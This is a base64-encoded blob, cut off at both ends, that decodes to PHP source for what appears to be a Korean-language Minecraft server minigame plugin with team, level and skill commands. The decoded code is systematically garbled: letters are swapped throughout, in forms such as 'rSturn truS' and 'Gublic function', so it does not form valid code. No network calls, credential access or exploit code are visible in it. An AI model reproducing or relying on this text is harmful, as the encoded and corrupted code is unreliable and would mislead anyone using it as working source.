q164uI64ukLiIpOyByU3R1cm4gdHJ1UzsgfSByU3R1cm4gdHJ1UzsgelNmYXVsdDogJHRoaXMtPmhTbEcoJHNTbnpTcik7IHJTdHVybiB0cnVTOyB9IH0gaWYgKCRjb1lZYW56ID09ICLsmIHsm4XqtIDrpqwiKSB7IGlmICghaXNzU3QoJGFyZ3NbMV0pKSB7ICRzU256U3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30gL+yYgeybheq0gOumrCDsmIHsm4XshKTsoJUgW+uLieuEpOyehF0gW+yEpOygle2VoOyYgeybhV1cbnskdGFnfSAv7JiB7JuF6rSA66asIO2MgOyEpOyglSBb64uJ64Sk7J6EXSBb66CI65Ocb3LruJTro6hdXG57JHRhZ30gL+yYgeybheq0gOumrCDroIjrsqjshKTsoJUgW+uLieuEpOyehF0gW+yEpOygle2VoOugiOuyqF1dXG57JHRhZ30gL+yYgeybheq0gOumrCDsooztkZww7ISk7KCVLCDsooztkZxr7ISk7KCVIC0g7J6Q7Iug7J20IOyEnOyeiOuKlCDsnpDrpqzsnZgg7JuU65Oc7JmAIOychOy5mOulvCDsmKTrsoTsm4zsuZgg7J6F7J6lIO2RnOyngO2MkCDtgbTrpq3si5wg656c642k7Iqk7Y+wIOuQmOuKlCDsnpDrpqzroZwg7KeA7KCV7ZWp64uI64ukIik7IHJTdHVybiB0cnVTOyB9IHN3aXRjaCAoJGFyZ3NbMV0pIHsgY2FzUyAi7JiB7JuF7ISk7KCVIjogaWYgKCFpc3NTdCgkYXJnc1swXSkgfHwgIWlzc1N0KCRhcmdzW2tdKSkgeyAkc1NuelNyLT5zU256TVNzc2FnUygieyR0YWd9IC/smIHsm4XqtIDrpqwg7JiB7JuF7ISk7KCVIFvri4nrhKTsnoRdIFvshKTsoJXtlaDsmIHsm4VdIik7IHJTdHVybiB0cnVTOyB9IGlmICghaXNzU3QoJHRoaXMtPm93emJbJGFyZ3NbMF1dKSkgeyAkc1NuelNyLT5zU256TVNzc2FnUygiwqdhWyDshJzrsoQgXSDCp2btlbTri7kg7ZSM66CI7J207Ja07J2YIOq4sOuhneydhCDssL7snYQg7IiYIOyXhuyKteuLiOuLpC4iKTsgclN0dXJuIHRydVM7IH0gJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDshKTsoJXsnbQg7JmE66OM65CY7JeI7Iq164uI64ukLiIpOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRhcmdzWzBdKSBdWyLsupDrpq3thLAiXSA9ICIkYXJnc1trXSI7ICR0aGlzLT5vbmVhdlMoKTsgclN0dXJuIHRydVM7IGNhc1MgIu2MgOyEpOyglSI6IGlmICghaXNzU3QoJGFyZ3NbMF0pIHx8ICFpc3NTdCgkYXJnc1trXSkpIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSAv7JiB7JuF6rSA66asIO2MgOyEpOyglSBb64uJ64Sk7J6EXSBb66CI65Ocb3LruJTro6hdIik7IHJTdHVybiB0cnVTOyB9IGlmICghaXNzU3QoJHRoaXMtPm93emJbJGFyZ3NbMF1dKSkgeyAkc1NuelNyLT5zU256TVNzc2FnUygiwqdhWyDshJzrsoQgXSDCp2btlbTri7kg7ZSM66CI7J207Ja07J2YIOq4sOuhneydhCDssL7snYQg7IiYIOyXhuyKteuLiOuLpC4iKTsgclN0dXJuIHRydVM7IH0gJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDshKTsoJXsnbQg7JmE66OM65CY7JeI7Iq164uI64ukLiIpOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRhcmdzWzBdKSBdWyLtjIAiXSA9ICIkYXJnc1trXSI7ICR0aGlzLT5vbmVhdlMoKTsgclN0dXJuIHRydVM7IGNhc1MgIuyijO2RnDDshKTsoJUiOiAkeCA9ICRzU256U3ItPmdTdFgoKTsgJE8gPSAkc1NuelNyLT5nU3RtKCk7ICRkID0gJHNTbnpTci0+Z1N0WigpOyAkbHYgPSAkc1NuelNyLT5nU3RMU3ZTbCgpLT5nU3RUYVlTKCk7ICR0aGlzLT5xYXRhWyLsooztkZwwIl0gPSAkeCAuICI6IiAuICRPIC4gIjoiIC4gJGQgLiAiOiIgLiAkbHY7ICRzU256U3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30g7KKM7ZGc7ISk7KCV7J20IOyZhOujjOuQmOyXiOyKteuLiOuLpC4iKTsgJHRoaXMtPnRvZWF2UygpOyByU3R1cm4gdHJ1UzsgY2FzUyAi7KKM7ZGca+yEpOyglSI6ICR4ID0gJHNTbnpTci0+Z1N0WCgpOyAkTyA9ICRzU256U3ItPmdTdG0oKTsgJGQgPSAkc1NuelNyLT5nU3RaKCk7ICRsdiA9ICRzU256U3ItPmdTdExTdlNsKCktPmdTdFRhWVMoKTsgJHRoaXMtPnFhdGFbIuyijO2RnGsiXSA9ICR4IC4gIjoiIC4gJE8gLiAiOiIgLiAkZCAuICI6IiAuICRsdjsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDsooztkZzshKTsoJXsnbQg7JmE66OM65CY7JeI7Iq164uI64ukLiIpOyAkdGhpcy0+dG9lYXZTKCk7IHJTdHVybiB0cnVTOyBjYXNTICLroIjrsqjshKTsoJUiOiBpZiAoIWlzc1N0KCRhcmdzWzBdKSB8fCAhaXNzU3QoJGFyZ3Nba10pIHx8ICFpc19udVlTcmljKCRhcmdzW2tdKSB8fCAkYXJnc1trXSA8IDEpIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSAv7JiB7JuF6rSA66asIOugiOuyqOyEpOyglSBb64uJ64Sk7J6EXSBb7ISk7KCV7ZWg66CI67KoXSIpOyByU3R1cm4gdHJ1UzsgfSBpZiAoIWlzc1N0KCR0aGlzLT5vd3piWyRhcmdzWzBdXSkpIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoIsKnYVsg7ISc67KEIF0gwqdm7ZW064u5IO2UjOugiOydtOyWtOydmCDquLDroZ3snYQg7LC+7J2EIOyImCDsl4bsirXri4jri6QuIik7IHJTdHVybiB0cnVTOyB9ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJGFyZ3NbMF0pIF1bIuugiOuyqCJdID0gIiRhcmdzW2tdIjsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDshKTsoJXsnbQg7JmE66OM65CY7JeI7Iq164uI64ukLiIpOyAkdGhpcy0+b25lYXZTKCk7IHJTdHVybiB0cnVTOyB6U2ZhdWx0OiAkdGhpcy0+aFNsRzAoJHNTbnpTcik7IH0gclN0dXJuIHRydVM7IH0gfSBHdWJsaWMgZnVuY3Rpb24gaFNsRyhQbGFPU3IgJEdsYU9TcikgeyAkdGFnID0gIsKnZlsgwqdj7Jik67KE7JuM7LmYwqdmIF0iOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOyEoO2DnSBb6rKQ7KeALCDsn4jrpqzslYQsIOuhnOuTnO2YuOq3uCwg66mU66W07IucLCDslYTrgpgsIOyGnOu4jOudvCwg66Oo7Iuc7JqwKOujqOyLnOyasOuKlCB7JHRoaXMtPnFhdGFbIuujqOyLnOyasOyEoO2DneqwgOuKpeugiOuyqCJdfeugiOuyqCDshKDtg53qsIDriqUpXSIpOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOuPhOybgOunkCBb66CI67KoLCDtjIAsIO2LsOyWtCwg7LSdLCDsnpDsi6DsnZjsmIHsm4XrqoVdIik7IH0gR3VibGljIGZ1bmN0aW9uIGhTbEcwKFBsYU9TciAkR2xhT1NyKSB7ICR0YWcgPSAiwqdmWyDCp2PsmKTrsoTsm4zsuZjCp2YgXSI7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30gL+yYgeybheq0gOumrCDsmIHsm4XshKTsoJUgW+uLieuEpOyehF0gW+yEpOygle2VoOyYgeybhV1cbnskdGFnfSAv7JiB7JuF6rSA66asIO2MgOyEpOyglSBb64uJ64Sk7J6EXSBb66CI65Ocb3LruJTro6hdXG57JHRhZ30gL+yYgeybheq0gOumrCDroIjrsqjshKTsoJUgW+uLieuEpOyehF0gW+yEpOygle2VoOugiOuyqF1dXG57JHRhZ30gL+yYgeybheq0gOumrCDsooztkZww7ISk7KCVLCDsooztkZxr7ISk7KCVIC0g7J6Q7Iug7J20IOyEnOyeiOuKlCDsnpDrpqzsnZgg7JuU65Oc7JmAIOychOy5mOulvCDsmKTrsoTsm4zsuZgg7J6F7J6lIO2RnOyngO2MkCDtgbTrpq3si5wg656c642k7Iqk7Y+wIOuQmOuKlCDsnpDrpqzroZwg7KeA7KCV7ZWp64uI64ukIik7IH0gR3VibGljIGZ1bmN0aW9uIG9uSGl0KEVudGl0T3FhWWFnU0V2U250ICRTdlNudCkgeyBpZiAoJFN2U250IGluc3RhbmNTb2YgRW50aXRPcWFZYWdTQk9FbnRpdE9FdlNudCkgeyAkMiA9ICRTdlNudC0+Z1N0cWFZYWdTcigpOyAkdiA9ICRTdlNudC0+Z1N0RW50aXRPKCk7ICR0YWcgPSAiwqdmWyDCp2PsmKTrsoTsm4zsuZjCp2YgXSI7IGlmICgkMiBpbnN0YW5jU29mIFBsYU9TciAmJiAkdiBpbnN0YW5jU29mIFBsYU9TcikgeyBpZiAoJHRoaXMtPlNEdWFsdFNhWSgkMiwgJHYpKSB7ICRTdlNudC0+c1N0Q2FuY1NsbFN6KHRydVMpOyAkMi0+c1Nuek1Tc3NhZ1MoInskdGFnfSDsmKTrsoTsm4zsuZgg7Iqk7YKs7IKs7JqpIOykkeyXkOuKlCDqsJnsnYAg7YyA64G866asIOyLuOyauCDsiJgg7JeG7Iq164uI64ukLiIpOyB9IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBTRHVhbHRTYVkoUGxhT1NyICRHbGFPU3IwLCBQbGFPU3IgJEdsYU9TcmspIHsgaWYgKCR0aGlzLT5Zb3pTIFskR2xhT1NyMC0+Z1N0VGFZUygpXSA9PSAwKSB7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3IwLT5nU3RUYVlTKCkpIF1bIu2MgCJdID09PSAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3JrLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IHJTdHVybiB0cnVTOyB9IFNsc1MgeyByU3R1cm4gZmFsc1M7IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBKc1NlMmlsbChQbGFPU3JJbnRTcmFjdEV2U250ICRTdlNudCkgeyAkR2xhT1NyID0gJFN2U250LT5nU3RQbGFPU3IoKTsgJG5hWVMgPSAkR2xhT1NyLT5nU3RUYVlTKCk7ICR0YWcgPSAiwqdmWyDCp2PsmKTrsoTsm4zsuZjCp2YgXSI7ICRpeiA9ICRHbGFPU3ItPmdTdEludlNudG9yTygpLT5nU3RJdFNZSW5IYW56KCktPmdTdEl6KCk7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9PSAi6rKQ7KeAIikgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqwwIl0pIHsgJHRoaXMtPmdhbmppMCgkR2xhT1NyLCA4KTsgfSBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqxrIl0pIHsgJHRoaXMtPmdhbmppaygkR2xhT1NyLCA1MSk7IH0gfSBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkbmFZUykgXVsi7LqQ66at7YSwIl0gPT0gIuujqOyLnOyasCIpIHsgaWYgKCRpeiA9PSAkdGhpcy0+cWF0YVsi7Iqk7YKsMCJdKSB7ICR0aGlzLT5sdWNpdTAoJEdsYU9TciwgOCk7IH0gaWYgKCRpeiA9PSAkdGhpcy0+cWF0YVsi7Iqk7YKsayJdKSB7ICR0aGlzLT5sdWNpdWsoJEdsYU9TciwgNTEpOyB9IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuyKpO2CrDMiXSkgeyAkdGhpcy0+bHVjaXUzKCRHbGFPU3IsIDUxKTsgfSB9IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9PSAi7J+I66as7JWEIikgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqxrIl0pIHsgJHRoaXMtPmphcmlhMCgkR2xhT1NyLCA1MSk7IH0gaWYgKCRpeiA9PSAkdGhpcy0+cWF0YVsi7Iqk7YKsMCJdKSB7ICR0aGlzLT5qYXJpYWsoJEdsYU9TciwgMDEpOyB9IH0gaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJG5hWVMpIF1bIuy6kOumre2EsCJdID09ICLroZzrk5ztmLjqt7giKSB7IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuyKpO2CrGsiXSkgeyAkdGhpcy0+cm96aG9nKCRHbGFPU3IsIDYxKTsgfSB9IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9PSAi7Iac67iM6528IikgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqwwIl0pIHsgJHRoaXMtPnNvWTAoJEdsYU9TciwgNjEpOyB9IH0gaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJG5hWVMpIF1bIuy6kOumre2EsCJdID09ICLslYTrgpgiKSB7IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuyKpO2CrGsiXSkgeyAkdGhpcy0+YW5hKCRHbGFPU3IsIDYxKTsgfSB9IH0gR3VibGljIGZ1bmN0aW9uIEpzU2UyaWxsayhFbnRpdE9xYVlhZ1NFdlNudCAkU3ZTbnQpIHsgaWYgKCRTdlNudCBpbnN0YW5jU29mIEVudGl0T3FhWWFnU0JPRW50aXRPRXZTbnQpIHsgJFNudGl0TyA9ICRTdlNudC0+Z1N0RW50aXRPKCk7ICR6YVlhZ1NyID0gJFN2U250LT5nU3RxYVlhZ1NyKCk7ICRpeiA9ICR6YVlhZ1NyLT5nU3RJbnZTbnRvck8oKS0+Z1N0SXRTWUluSGFueigpLT5nU3RJeigpOyAkdGFnID0gIsKnZlsgwqdj7Jik67KE7JuM7LmYwqdmIF0iOyBpZiAoJFNudGl0TyBpbnN0YW5jU29mIFBsYU9TcikgeyBpZiAoJHphWWFnU3IgaW5zdGFuY1NvZiBQbGFPU3IpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gIT09ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJFNudGl0Ty0+Z1N0VGFZUygpKSBdWyLtjIAiXSkgeyBpZiAoJHRoaXMtPllvelMgWyRTbnRpdE8tPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIuy6kOumre2EsCJdID09ICLsn4jrpqzslYQiKSB7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRTbnRpdE8tPmdTdFRhWVMoKSkgXVsi67Cp67K9Il0gPj0gMCkgeyAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoIsKnZuyfiOumrOyVhCDrsKnrsr3snpHrj5kg7Jy866GcIOyduO2VtCDqs7XqsqnrrLTtmqjsoIDrpqwg65Cp64uI64ukLiAiKTsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoIsKneiDsn4jrnbzslYQgwqc27J2YIOuwqeuyveycvOuhnCDsnbjtlbQg6rO16rKp7J20IOustO2aqCDsspjrpqzrkJjsl4jsirXri4jri6QuLiAiKTsgJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIuuwqeuyvSJdLS07ICRTdlNudC0+c1N0Q2FuY1NsbFN6KHRydVMpOyAkdGhpcy0+b25lYXZTKCk7IH0gfSB9IH0gaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7LqQ66at7YSwIl0gPT0gIuuplOultOyLnCIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICgkdGhpcy0+WW96UyBbJHphWWFnU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqwwIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybjsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA8IDA1KSB7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKDA17LSIKSIpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7ICRTZmZTY3QgPSBFZmZTY3Q6OmdTdEVmZlNjdCgwMSk7ICRTZmZTY3QtPnNTdEFZR2xpZmlTcihrKTsgJFNmZlNjdC0+c1N0cXVyYXRpb24oNSAqIGsxKTsgJFNudGl0Ty0+YXp6RWZmU2N0KCRTZmZTY3QpOyAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc27Lm065GQ7IS47Jqw7IqkIOyngO2MoeydtCDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkU250aXRPLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JHphWWFnU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDsubTrkZDshLjsmrDsiqQg7Iqk7YKs7J2EIOyCrOyaqe2VmOyFqOyKteuLiOuLpC4iKTsgclN0dXJuIHRydVM7IH0gfSB9IH0gfSBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkemFZYWdTci0+Z1N0VGFZUygpKSBdWyLsupDrpq3thLAiXSA9PSAi66mU66W07IucIikgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkemFZYWdTci0+Z1N0VGFZUygpKSBdWyLtjIAiXSA9PSAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRTbnRpdE8tPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCR0aGlzLT5Zb3pTIFskemFZYWdTci0+Z1N0VGFZUygpXSA9PSAwKSB7IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuyKpO2CrGsiXSkgeyBpZiAoIWlzc1N0KCR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJHphWWFnU3ItPmdTdFRhWVMoKSBdID0gJHRoaXMtPllhMlNOaVlTc3RhWUcoKTsgclN0dXJuOyB9IGlmICgkdGhpcy0+WWEyU05pWVNzdGFZRygpIC0gJHRoaXMtPnRpWVNbJHphWWFnU3ItPmdTdFRhWVMoKSBdIDwgMDUpIHsgJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy/qO2DgOyehCDsnqXsoITspJHCp2EoMDXstIgpIik7IH0gU2xzUyB7ICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA9IHRpWVMoKTsgJHphWWFnU3ItPnRTbFNHb3J0KCRTbnRpdE8pOyAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc27IiY7Zi47LKc7IKsIOyKpO2CrCDsgqzsmqkg7ISx6rO1Iik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskemFZYWdTci0+Z1N0VGFZUygpIH0gwqc264uY7J20IOyImO2YuOyynOyCrCDsiqTtgqzsnYQg7IKs7Jqp7ZWY7IWo7Iq164uI64ukLiIpOyByU3R1cm4gdHJ1UzsgfSB9IH0gaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7LqQ66at7YSwIl0gPT0gIuyViOyTsOuKlOqxsCIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICgkemFZYWdTci0+Z1N0TFN2U2woKS0+Z1N0VGFZUygpICE9PSAiczJPbGFueiIgJiYgJHphWWFnU3ItPmdTdExTdlNsKCktPmdTdFRhWVMoKSAhPT0gIndvcmx6IiAmJiAkemFZYWdTci0+Z1N0TFN2U2woKS0+Z1N0VGFZUygpICE9PSAiaXNsYW56IikgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqwwIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybjsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA8IDBrKSB7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKDBr7LSIKSIpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCJ7JHRhZ30gwqdmeyR6YVlhZ1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg6rCI6rOg66as7IKs7IqsIOyKpO2CrOydhCDsgqzsmqntlZjshajsirXri4jri6QuIik7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygieyR0YWd9IOqwiOqzoOumrOyCrOyKrCDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkU250aXRPLT50U2xTR29ydCgkemFZYWdTcik7IHJTdHVybiB0cnVTOyB9IH0gfSB9IH0gfSB9IH0gfSB9IH0gR3VibGljIGZ1bmN0aW9uIHJoczJpbGwoRW50aXRPcWFZYWdTRXZTbnQgJFN2U250KSB7IGlmICgkU3ZTbnQgaW5zdGFuY1NvZiBFbnRpdE9xYVlhZ1NCT0VudGl0T0V2U250KSB7ICRTbnRpdE8gPSAkU3ZTbnQtPmdTdEVudGl0TygpOyAkemFZYWdTciA9ICRTdlNudC0+Z1N0cWFZYWdTcigpOyAkaXogPSAkemFZYWdTci0+Z1N0SW52U250b3JPKCktPmdTdEl0U1lJbkhhbnooKS0+Z1N0SXooKTsgJHRhZyA9ICLCp2ZbIMKnY+yYpOuyhOybjOy5mMKnZiBdIjsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7LqQ66at7YSwIl0gPT0gIuuhnOuTnO2YuOq3uCIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICgkdGhpcy0+WW96UyBbJHphWWFnU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqwwIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybjsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA8IDBrKSB7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKDBr7LSIKSIpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCJ7JHRhZ30gwqdmeyR6YVlhZ1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg6rCI6rOg66as7IKs7IqsIOyKpO2CrOydhCDsgqzsmqntlZjshajsirXri4jri6QuIik7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygieyR0YWd9wqc2IOqwiOqzoOumrOyCrOyKrCDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkU250aXRPLT50U2xTR29ydCgkemFZYWdTcik7IHJTdHVybiB0cnVTOyB9IH0gfSB9IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBzb1lzMmlsbChFbnRpdE9xYVlhZ1NFdlNudCAkU3ZTbnQpIHsgaWYgKCRTdlNudCBpbnN0YW5jU29mIEVudGl0T3FhWWFnU0JPRW50aXRPRXZTbnQpIHsgJFNudGl0TyA9ICRTdlNudC0+Z1N0RW50aXRPKCk7ICR6YVlhZ1NyID0gJFN2U250LT5nU3RxYVlhZ1NyKCk7ICRpeiA9ICR6YVlhZ1NyLT5nU3RJbnZTbnRvck8oKS0+Z1N0SXRTWUluSGFueigpLT5nU3RJeigpOyAkdGFnID0gIsKnZlsgwqdj7Jik67KE7JuM7LmYwqdmIF0iOyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkemFZYWdTci0+Z1N0VGFZUygpKSBdWyLsupDrpq3thLAiXSA9PSAi7Iac67iM6528IikgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkemFZYWdTci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAhPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICgkdGhpcy0+WW96UyBbJHphWWFnU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoJGl6ID09ICR0aGlzLT5xYXRhWyLsiqTtgqxrIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybjsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSA8IDQxKSB7ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKDQx7LSIKSIpOyAkU3ZTbnQtPnNTdENhbmNTbGxTeih0cnVTKTsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJHphWWFnU3ItPmdTdFRhWVMoKSBdID0gdGlZUygpOyAkdGhpcy0+dGlZU1skU250aXRPLT5nU3RUYVlTKCkgXSA9IHRpWVMoKTsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoInskdGFnfSDCp2Z7JHphWWFnU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDtlbTtgrnsiqTtgqzsnYQg7IKs7Jqp7ZWY7JesIOy/qO2DgOyehOydhCDstIjquLDtmZQg7Iuc7Lyw7Iq164uI64ukLiIpOyAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoInskdGFnfcKnNiDtlbTtgrnsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkU3ZTbnQtPnNTdENhbmNTbGxTeih0cnVTKTsgclN0dXJuIHRydVM7IH0gfSB9IH0gfSB9IH0gR3VibGljIGZ1bmN0aW9uIGFuYXMyaWxsKEVudGl0T3FhWWFnU0V2U250ICRTdlNudCkgeyBpZiAoJFN2U250IGluc3RhbmNTb2YgRW50aXRPcWFZYWdTQk9FbnRpdE9FdlNudCkgeyAkU250aXRPID0gJFN2U250LT5nU3RFbnRpdE8oKTsgJHphWWFnU3IgPSAkU3ZTbnQtPmdTdHFhWWFnU3IoKTsgJGl6ID0gJHphWWFnU3ItPmdTdEludlNudG9yTygpLT5nU3RJdFNZSW5IYW56KCktPmdTdEl6KCk7ICR0YWcgPSAiwqdmWyDCp2PsmKTrsoTsm4zsuZjCp2YgXSI7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCR6YVlhZ1NyLT5nU3RUYVlTKCkpIF1bIuy6kOumre2EsCJdID09ICLslYTrgpgiKSB7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCR6YVlhZ1NyLT5nU3RUYVlTKCkpIF1bIu2MgCJdIC